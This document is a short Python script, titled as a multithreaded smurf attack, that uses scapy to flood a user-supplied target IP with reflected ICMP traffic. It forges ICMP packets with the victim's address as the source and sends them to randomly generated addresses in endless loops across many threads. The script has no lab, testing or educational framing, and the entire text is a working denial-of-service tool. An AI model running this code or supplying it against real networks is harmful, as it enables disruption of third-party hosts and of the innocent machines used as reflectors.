Script for multithreading smurf attack

smurf.py

from scapy.all import *
import random
import threading
import signal
import sys

def address_spoofer():
    addr = [192,168,178,1]
    dot = '.'
    addr[0] = str(random.randrange(11,197))
    addr[1] = str(random.randrange(0,255))
    addr[2] = str(random.randrange(0,255))
    addr[3] = str(random.randrange(2,254))
    assembled = addr[0] + dot + addr[1] + dot + addr[2] + dot + addr[3]
    #print(assembled)
    
    return assembled

def smurf(iptarget):
    while True:
        rand_addr = address_spoofer()
        ip_hdr = IP(src=iptarget,dst=rand_addr)
        #packet = ip_hdr/ICMP()/('m'*1000) # send 1k bytes of junk
        packet = ip_hdr/ICMP()
        send(packet,verbose=0)

def signal_handler(signal):
    print("\nExit...")
    sys.exit(0)

##############
#    main    #
##############
if(__name__ == "__main__"):
    # gestisco il segnale di chiusura
    signal.signal(signal.SIGINT,signal_handler)
    
    # input
    iptarget = input("Target's IP to attack: ")
    numthread = int(input("Thread number: "))
    
    # running
    threads = []
    for i in range(numthread):
        print("Starting thread " + str(i+1))
        thread = threading.Thread(target=smurf,args=(iptarget,))
        threads.append(thread)
        #threads[i].daemon = True
        threads[i].start()
    
    print("Attacking...")
    
    #for i in range(numthread):
    #    print("DEBUG"+str(i+1))
    #    threads[i].join()